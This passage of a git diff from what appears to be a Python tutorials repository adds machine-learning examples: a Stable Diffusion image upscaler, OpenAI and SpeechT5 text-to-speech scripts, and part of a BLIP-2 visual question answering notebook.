null, + "top": null, + "visibility": null, + "width": null + } + }, + "ee5e249b357649ab95d493d940bc3b01": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "efb86ed04a0d477794e70dc92219399b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_10d895cb5166417fa2b4cc0d2feb7b6f", + "placeholder": "​", + "style": "IPY_MODEL_23b55638314c4e2b967f85ab40042a6c", + "value": " 1.36G/1.36G [00:25<00:00, 66.5MB/s]" + } + }, + "f24b18d71065474a9f169b4fd66898f6": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "f3c0042a67e34e72b1088b60c11ba2d0": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "f6579ff0c08648309711a654ec3de748": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f78f911cd0ac4cdc8fdcbcb29f1a201b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_90c7965cfde540158d9e7cb049c2d7d3", + "placeholder": "​", + "style": "IPY_MODEL_b991b21d18ec471fb18b291a0c10aa6e", + "value": " 460/460 [00:00<00:00, 2.77kB/s]" + } + }, + "f874ed5ecd6f4eed976ed24b0be4ae51": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "f8c3945c2c554cc9b7ea7435525c4ab4": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f931614414ba46adaab4c0522e65ebf8": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f931d10a75ab4aafb1d6b92a0ba622b3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_5d3f04417ce64f80a2843e74bf6208f7", + "placeholder": "​", + "style": "IPY_MODEL_341fa26d73394e6cb71498a9c95b458c", + "value": " 1.06M/1.06M [00:00<00:00, 4.16MB/s]" + } + }, + "fb2398f1e5ff43f7a2f81bd51bf58e2a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_53fa5e54123446199d57c27c3ee8b091", + "IPY_MODEL_07a431a9456648b6bcbfa899ee0014ac", + "IPY_MODEL_2f972961c0eb411ca45b8af05cc05e3b" + ], + "layout": "IPY_MODEL_6525d3514cee42f3bd14bdf898b63ad2" + } + }, + "fc9a8403148c431e8b0200d40c6efcb7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_8b24a6ee676942ddaa27f44902ef2ac5", + "IPY_MODEL_5b74c15d312f404e88323771b08b0aeb", + "IPY_MODEL_7ad5acf646b44af2a1d8558abbb59199" + ], + "layout": "IPY_MODEL_d22523983b9a4c71a3057f3a281895ee" + } + }, + "fcc7b1147ad94a01ae49b4268e85d310": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ff88d9a5f7d64ad7bb0f09f6c71543f1": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + } + } + } + }, + "nbformat": 4, + "nbformat_minor": 0 +} diff --git a/machine-learning/stable-diffusion-upscaler/requirements.txt b/machine-learning/stable-diffusion-upscaler/requirements.txt new file mode 100644 index 00000000..6feca34e --- /dev/null +++ b/machine-learning/stable-diffusion-upscaler/requirements.txt @@ -0,0 +1,6 @@ +torch +diffusers +transformers +accelerate +scipy +safetensors \ No newline at end of file diff --git a/machine-learning/stable-diffusion-upscaler/stable_diffusion_upscaler.py b/machine-learning/stable-diffusion-upscaler/stable_diffusion_upscaler.py new file mode 100644 index 00000000..06efe53c --- /dev/null +++ b/machine-learning/stable-diffusion-upscaler/stable_diffusion_upscaler.py @@ -0,0 +1,303 @@ +# %% +!pip install -qU diffusers transformers accelerate scipy safetensors + +# %% [markdown] +# # Hugging Face Implementation + +# %% +import requests +from PIL import Image +from io import BytesIO +from diffusers import StableDiffusionUpscalePipeline +import torch + +# %% +# load model and scheduler +model_id = "stabilityai/stable-diffusion-x4-upscaler" +pipeline = StableDiffusionUpscalePipeline.from_pretrained(model_id, torch_dtype=torch.float16) +pipeline = pipeline.to("cuda") + +# %% +def get_low_res_img(url, shape): + response = requests.get(url) + low_res_img = Image.open(BytesIO(response.content)).convert("RGB") + low_res_img = low_res_img.resize(shape) + return low_res_img + +# %% +url = "https://cdn.pixabay.com/photo/2017/02/07/16/47/kingfisher-2046453_640.jpg" +shape = (200, 128) +low_res_img = get_low_res_img(url, shape) + +low_res_img + +# %% +prompt = "an aesthetic kingfisher" +upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0] +upscaled_image + +# %% +prompt = "an aesthetic kingfisher, UHD, 4k, hyper realistic, extremely detailed, professional, vibrant, not grainy, smooth" +upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0] +upscaled_image + +# %% +upscaled_interpolation = low_res_img.resize((800, 512)) +upscaled_interpolation + +# %% +url = "https://cdn.pixabay.com/photo/2022/06/14/20/57/woman-7262808_1280.jpg" +shape = (200, 128) +low_res_img = get_low_res_img(url, shape) + +low_res_img + +# %% +prompt = "an old lady" +upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0] +upscaled_image + +# %% +prompt = "an iranian old lady with black hair, brown scarf, rock background" +upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0] +upscaled_image + +# %% +upscaled_interpolation = low_res_img.resize((800, 512)) +upscaled_interpolation + +# %% +url = "https://cdn.pixabay.com/photo/2017/12/28/07/44/zebra-3044577_1280.jpg" +shape = (450, 128) +low_res_img = get_low_res_img(url, shape) + +low_res_img + +# %% +prompt = "zebras drinking water" +upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0] +upscaled_image + +# %% +upscaled_interpolation = low_res_img.resize((1800, 512)) +upscaled_interpolation + +# %% + + +# %% + + +# %% [markdown] +# # Custom +# + +# %% +from tqdm import tqdm +from torch import autocast + +# %% +class CustomSDUpscalingPipeline: + """custom implementation of the Stable Diffusion Upscaling Pipeline""" + + def __init__(self, + vae, + tokenizer, + text_encoder, + unet, + low_res_scheduler, + scheduler, + image_processor): + + self.vae = vae + self.tokenizer = tokenizer + self.text_encoder = text_encoder + self.unet = unet + self.low_res_scheduler = low_res_scheduler + self.scheduler = scheduler + self.image_processor = image_processor + self.device = 'cuda' if torch.cuda.is_available() else 'cpu' + + + + def get_text_embeds(self, text): + """returns embeddings for the given `text`""" + + # tokenize the text + text_input = self.tokenizer(text, + padding='max_length', + max_length=tokenizer.model_max_length, + truncation=True, + return_tensors='pt') + # embed the text + with torch.no_grad(): + text_embeds = self.text_encoder(text_input.input_ids.to(self.device))[0] + return text_embeds + + + + def get_prompt_embeds(self, prompt): + """returns prompt embeddings based on classifier free guidance""" + + if isinstance(prompt, str): + prompt = [prompt] + # get conditional prompt embeddings + cond_embeds = self.get_text_embeds(prompt) + # get unconditional prompt embeddings + uncond_embeds = self.get_text_embeds([''] * len(prompt)) + # concatenate the above 2 embeds for classfier free guidance + prompt_embeds = torch.cat([uncond_embeds, cond_embeds]) + return prompt_embeds + + + def transform_image(self, image): + """convert image from pytorch tensor to PIL format""" + + image = self.image_processor.postprocess(image, output_type='pil') + return image + + + + def get_initial_latents(self, height, width, num_channels_latents, batch_size): + """returns noise latent tensor of relevant shape scaled by the scheduler""" + + image_latents = torch.randn((batch_size, num_channels_latents, height, width)).to(self.device) + # scale the initial noise by the standard deviation required by the scheduler + image_latents = image_latents * self.scheduler.init_noise_sigma + return image_latents + + + + def denoise_latents(self, + prompt_embeds, + image, + timesteps, + latents, + noise_level, + guidance_scale): + """denoises latents from noisy latent to a meaningful latents""" + + # use autocast for automatic mixed precision (AMP) inference + with autocast('cuda'): + for i, t in tqdm(enumerate(timesteps)): + # duplicate image latents to do classifier free guidance + latent_model_input = torch.cat([latents] * 2) + latent_model_input = self.scheduler.scale_model_input(latent_model_input, t) + latent_model_input = torch.cat([latent_model_input, image], dim=1) + + # predict noise residuals + with torch.no_grad(): + noise_pred = self.unet( + latent_model_input, + t, + encoder_hidden_states=prompt_embeds, + class_labels=noise_level + )['sample'] + + # separate predictions for unconditional and conditional outputs + noise_pred_uncond, noise_pred_text = noise_pred.chunk(2) + + # perform guidance + noise_pred = noise_pred_uncond + guidance_scale * (noise_pred_text - noise_pred_uncond) + + # remove the noise from the current sample i.e. go from x_t to x_{t-1} + latents = self.scheduler.step(noise_pred, t, latents)['prev_sample'] + + return latents + + + + def __call__(self, + prompt, + image, + num_inference_steps=20, + guidance_scale=9.0, + noise_level=20): + """generates new image based on the `prompt` and the `image`""" + + # encode input prompt + prompt_embeds = self.get_prompt_embeds(prompt) + + # preprocess image + image = self.image_processor.preprocess(image).to(self.device) + + # prepare timesteps + self.scheduler.set_timesteps(num_inference_steps, device=self.device) + timesteps = self.scheduler.timesteps + + # add noise to image + noise_level = torch.tensor([noise_level], device=self.device) + noise = torch.randn(image.shape, device=self.device) + image = self.low_res_scheduler.add_noise(image, noise, noise_level) + + # duplicate image for classifier free guidance + image = torch.cat([image] * 2) + noise_level = torch.cat([noise_level] * image.shape[0]) + + # prepare the initial image in the latent space (noise on which we will do reverse diffusion) + num_channels_latents = self.vae.config.latent_channels + batch_size = prompt_embeds.shape[0] // 2 + height, width = image.shape[2:] + latents = self.get_initial_latents(height, width, num_channels_latents, batch_size) + + # denoise latents + latents = self.denoise_latents(prompt_embeds, + image, + timesteps, + latents, + noise_level, + guidance_scale) + + # decode latents to get the image into pixel space + latents = latents.to(torch.float16) + image = self.vae.decode(latents / self.vae.config.scaling_factor, return_dict=False)[0] + + # convert to PIL Image format + image = self.transform_image(image.detach()) # detach to remove any computed gradients + + return image + +# %% +# get all the components from the SD Upscaler pipeline +vae = pipeline.vae +tokenizer = pipeline.tokenizer +text_encoder = pipeline.text_encoder +unet = pipeline.unet +low_res_scheduler = pipeline.low_res_scheduler +scheduler = pipeline.scheduler +image_processor = pipeline.image_processor + +custom_pipe = CustomSDUpscalingPipeline(vae, tokenizer, text_encoder, unet, low_res_scheduler, scheduler, image_processor) + +# %% +url = "https://cdn.pixabay.com/photo/2017/02/07/16/47/kingfisher-2046453_640.jpg" +shape = (200, 128) +low_res_img = get_low_res_img(url, shape) + +low_res_img + +# %% +prompt = "an aesthetic kingfisher" +upscaled_image = custom_pipe(prompt=prompt, image=low_res_img)[0] +upscaled_image + +# %% +url = "https://cdn.pixabay.com/photo/2018/07/31/22/08/lion-3576045_1280.jpg" +shape = (200, 128) +low_res_img = get_low_res_img(url, shape) + +low_res_img + +# %% +prompt = "a professional photograph of a lion's face" +upscaled_image = custom_pipe(prompt=prompt, image=low_res_img)[0] +upscaled_image + +# %% +upscaled_interpolation = low_res_img.resize((800, 512)) +upscaled_interpolation + +# %% + + + diff --git a/machine-learning/text-to-speech/6799-In-his-miracle-year,-he-published.mp3 b/machine-learning/text-to-speech/6799-In-his-miracle-year,-he-published.mp3 new file mode 100644 index 00000000..45d11628 Binary files /dev/null and b/machine-learning/text-to-speech/6799-In-his-miracle-year,-he-published.mp3 differ diff --git a/machine-learning/text-to-speech/README.md b/machine-learning/text-to-speech/README.md index c9b5b640..4786b024 100644 --- a/machine-learning/text-to-speech/README.md +++ b/machine-learning/text-to-speech/README.md @@ -2,3 +2,5 @@ - `pip3 install -r requirements.txt` - To convert text to speech online using Google API, use `tts_google.py` - To use offline engines in your platform, consider using `tts_pyttsx3.py` +- To use the OpenAI API, use `tts_openai.py` +- To use transformers, use `tts_transformers.py` diff --git a/machine-learning/text-to-speech/requirements b/machine-learning/text-to-speech/requirements deleted file mode 100644 index b4362d6e..00000000 --- a/machine-learning/text-to-speech/requirements +++ /dev/null @@ -1,3 +0,0 @@ -pyttsx3 -gTTS -playsound \ No newline at end of file diff --git a/machine-learning/text-to-speech/requirements.txt b/machine-learning/text-to-speech/requirements.txt new file mode 100644 index 00000000..7c4e99dd --- /dev/null +++ b/machine-learning/text-to-speech/requirements.txt @@ -0,0 +1,8 @@ +pyttsx3 +gTTS +playsound +soundfile +transformers +datasets +sentencepiece +openai \ No newline at end of file diff --git a/machine-learning/text-to-speech/tts_openai.py b/machine-learning/text-to-speech/tts_openai.py new file mode 100644 index 00000000..2087fea6 --- /dev/null +++ b/machine-learning/text-to-speech/tts_openai.py @@ -0,0 +1,20 @@ +from openai import OpenAI + +# initialize the OpenAI API client +api_key = "YOUR_OPENAI_API_KEY" +client = OpenAI(api_key=api_key) + +# sample text to generate speech from +text = """In his miracle year, he published four groundbreaking papers. +These outlined the theory of the photoelectric effect, explained Brownian motion, +introduced special relativity, and demonstrated mass-energy equivalence.""" + +# generate speech from the text +response = client.audio.speech.create( + model="tts-1", # the model to use, there is tts-1 and tts-1-hd + voice="nova", # the voice to use, there is alloy, echo, fable, onyx, nova, and shimmer + input=text, # the text to generate speech from + speed=1.0, # the speed of the generated speech, ranging from 0.25 to 4.0 +) +# save the generated speech to a file +response.stream_to_file("openai-output.mp3") \ No newline at end of file diff --git a/machine-learning/text-to-speech/tts_transformers.py b/machine-learning/text-to-speech/tts_transformers.py new file mode 100644 index 00000000..8ba6414e --- /dev/null +++ b/machine-learning/text-to-speech/tts_transformers.py @@ -0,0 +1,67 @@ +from transformers import SpeechT5Processor, SpeechT5ForTextToSpeech, SpeechT5HifiGan +from datasets import load_dataset +import torch +import random +import string +import soundfile as sf + +device = "cuda" if torch.cuda.is_available() else "cpu" +# load the processor +processor = SpeechT5Processor.from_pretrained("microsoft/speecht5_tts") +# load the model +model = SpeechT5ForTextToSpeech.from_pretrained("microsoft/speecht5_tts").to(device) +# load the vocoder, that is the voice encoder +vocoder = SpeechT5HifiGan.from_pretrained("microsoft/speecht5_hifigan").to(device) +# we load this dataset to get the speaker embeddings +embeddings_dataset = load_dataset("Matthijs/cmu-arctic-xvectors", split="validation") + +# speaker ids from the embeddings dataset +speakers = { + 'awb': 0, # Scottish male + 'bdl': 1138, # US male + 'clb': 2271, # US female + 'jmk': 3403, # Canadian male + 'ksp': 4535, # Indian male + 'rms': 5667, # US male + 'slt': 6799 # US female +} + +def save_text_to_speech(text, speaker=None): + # preprocess text + inputs = processor(text=text, return_tensors="pt").to(device) + if speaker is not None: + # load xvector containing speaker's voice characteristics from a dataset + speaker_embeddings = torch.tensor(embeddings_dataset[speaker]["xvector"]).unsqueeze(0).to(device) + else: + # random vector, meaning a random voice + speaker_embeddings = torch.randn((1, 512)).to(device) + # generate speech with the models + speech = model.generate_speech(inputs["input_ids"], speaker_embeddings, vocoder=vocoder) + if speaker is not None: + # if we have a speaker, we use the speaker's ID in the filename + output_filename = f"{speaker}-{'-'.join(text.split()[:6])}.mp3" + else: + # if we don't have a speaker, we use a random string in the filename + random_str = ''.join(random.sample(string.ascii_letters+string.digits, k=5)) + output_filename = f"{random_str}-{'-'.join(text.split()[:6])}.mp3" + # save the generated speech to a file with 16KHz sampling rate + sf.write(output_filename, speech.cpu().numpy(), samplerate=16000) + # return the filename for reference + return output_filename + +# generate speech with a US female voice +save_text_to_speech("Python is my favorite programming language", speaker=speakers["slt"]) +# generate speech with a random voice +save_text_to_speech("Python is my favorite programming language") + +# a challenging text with all speakers +text = """In his miracle year, he published four groundbreaking papers. +These outlined the theory of the photoelectric effect, explained Brownian motion, +introduced special relativity, and demonstrated mass-energy equivalence.""" + +for speaker_name, speaker in speakers.items(): + output_filename = save_text_to_speech(text, speaker) + print(f"Saved {output_filename}") +# random speaker +output_filename = save_text_to_speech(text) +print(f"Saved {output_filename}") \ No newline at end of file diff --git a/machine-learning/visual-question-answering/000000007226.jpg b/machine-learning/visual-question-answering/000000007226.jpg new file mode 100644 index 00000000..56932377 Binary files /dev/null and b/machine-learning/visual-question-answering/000000007226.jpg differ diff --git a/machine-learning/visual-question-answering/README.md b/machine-learning/visual-question-answering/README.md new file mode 100644 index 00000000..a88ef88c --- /dev/null +++ b/machine-learning/visual-question-answering/README.md @@ -0,0 +1 @@ +# [Visual Question Answering with Transformers](https://www.thepythoncode.com/article/visual-question-answering-with-transformers-in-python) \ No newline at end of file diff --git a/machine-learning/visual-question-answering/Running_BLIP2.ipynb b/machine-learning/visual-question-answering/Running_BLIP2.ipynb new file mode 100644 index 00000000..5b880995 --- /dev/null +++ b/machine-learning/visual-question-answering/Running_BLIP2.ipynb @@ -0,0 +1,912 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": 2, + "id": "2d87ad23-587a-4b20-8121-1d1748ac301a", + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Collecting transformers\n", + " Downloading transformers-4.30.2-py3-none-any.whl (7.2 MB)\n", + "\u001b[2K \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m7.2/7.2 MB\u001b[0m \u001b[31m50.4 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m00:01\u001b[0m00:01\u001b[0m\n", + "\u001b[?25hCollecting accelerate\n", + " Downloading accelerate-0.20.3-py3-none-any.whl (227 kB)\n", + "\u001b[2K \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m227.6/227.6 kB\u001b[0m \u001b[31m47.9 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\n", + "\u001b[?25hRequirement already satisfied: filelock in /usr/local/lib/python3.10/dist-packages (from transformers) (3.9.0)\n", + "Collecting huggingface-hub<1.0,>=0.14.1 (from transformers)\n", + " Downloading huggingface_hub-0.15.1-py3-none-any.whl (236 kB)\n", + "\u001b[2K \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m236.8/236.8 kB\u001b[0m \u001b[31m59.6 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\n", + "\u001b[?25hRequirement already satisfied: numpy>=1.17 in /usr/local/lib/python3.10/dist-packages (from transformers) (1.24.1)\n", + "Requirement already satisfied: packaging>=20.0 in /usr/local/lib/python3.10/dist-packages (from transformers) (23.1)\n", + "Requirement already satisfied: pyyaml>=5.1 in /usr/local/lib/python3.10/dist-packages (from transformers) (6.0)\n", + "Collecting regex!=2019.12.17 (from transformers)\n", + " Downloading regex-2023.6.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (770 kB)\n", + "\u001b[2K \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m770.4/770.4 kB\u001b[0m \u001b[31m50.7 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\n", + "\u001b[?25hRequirement already satisfied: requests in /usr/local/lib/python3.10/dist-packages (from transformers) (2.28.1)\n", + "Collecting tokenizers!=0.11.3,<0.14,>=0.11.1 (from transformers)\n", + " Downloading tokenizers-0.13.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (7.8 MB)\n", + "\u001b[2K \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m7.8/7.8 MB\u001b[0m \u001b[31m99.5 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m:00:01\u001b[0m00:01\u001b[0m\n", + "\u001b[?25hCollecting safetensors>=0.3.1 (from transformers)\n", + " Downloading safetensors-0.3.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (1.3 MB)\n", + "\u001b[2K \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m1.3/1.3 MB\u001b[0m \u001b[31m111.3 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\n", + "\u001b[?25hCollecting tqdm>=4.27 (from transformers)\n", + " Downloading tqdm-4.65.0-py3-none-any.whl (77 kB)\n", + "\u001b[2K \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m77.1/77.1 kB\u001b[0m \u001b[31m18.2 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\n", + "\u001b[?25hRequirement already satisfied: psutil in /usr/local/lib/python3.10/dist-packages (from accelerate) (5.9.5)\n", + "Requirement already satisfied: torch>=1.6.0 in /usr/local/lib/python3.10/dist-packages (from accelerate) (2.0.1+cu117)\n", + "Collecting fsspec (from huggingface-hub<1.0,>=0.14.1->transformers)\n", + " Downloading fsspec-2023.6.0-py3-none-any.whl (163 kB)\n", + "\u001b[2K \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m163.8/163.8 kB\u001b[0m \u001b[31m39.2 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\n", + "\u001b[?25hRequirement already satisfied: typing-extensions>=3.7.4.3 in /usr/local/lib/python3.10/dist-packages (from huggingface-hub<1.0,>=0.14.1->transformers) (4.4.0)\n", + "Requirement already satisfied: sympy in /usr/local/lib/python3.10/dist-packages (from torch>=1.6.0->accelerate) (1.11.1)\n", + "Requirement already satisfied: networkx in /usr/local/lib/python3.10/dist-packages (from torch>=1.6.0->accelerate) (3.0)\n", + "Requirement already satisfied: jinja2 in /usr/local/lib/python3.10/dist-packages (from torch>=1.6.0->accelerate) (3.1.2)\n", + "Requirement already satisfied: triton==2.0.0 in /usr/local/lib/python3.10/dist-packages (from torch>=1.6.0->accelerate) (2.0.0)\n", + "Requirement already satisfied: cmake in /usr/local/lib/python3.10/dist-packages (from triton==2.0.0->torch>=1.6.0->accelerate) (3.25.0)\n", + "Requirement already satisfied: lit in /usr/local/lib/python3.10/dist-packages (from triton==2.0.0->torch>=1.6.0->accelerate) (15.0.7)\n", + "Requirement already satisfied: charset-normalizer<3,>=2 in /usr/local/lib/python3.10/dist-packages (from requests->transformers) (2.1.1)\n", + "Requirement already satisfied: idna<4,>=2.5 in /usr/local/lib/python3.10/dist-packages (from requests->transformers) (3.4)\n", + "Requirement already satisfied: urllib3<1.27,>=1.21.1 in /usr/local/lib/python3.10/dist-packages (from requests->transformers) (1.26.13)\n", + "Requirement already satisfied: certifi>=2017.4.17 in /usr/local/lib/python3.10/dist-packages (from requests->transformers) (2022.12.7)\n", + "Requirement already satisfied: MarkupSafe>=2.0 in /usr/local/lib/python3.10/dist-packages (from jinja2->torch>=1.6.0->accelerate) (2.1.2)\n", + "Requirement already satisfied: mpmath>=0.19 in /usr/local/lib/python3.10/dist-packages (from sympy->torch>=1.6.0->accelerate) (1.2.1)\n", + "Installing collected packages: tokenizers, safetensors, tqdm, regex, fsspec, huggingface-hub, transformers, accelerate\n", + "Successfully installed accelerate-0.20.3 fsspec-2023.6.0 huggingface-hub-0.15.1 regex-2023.6.3 safetensors-0.3.1 tokenizers-0.13.3 tqdm-4.65.0 transformers-4.30.2\n", + "\u001b[33mWARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv\u001b[0m\u001b[33m\n", + 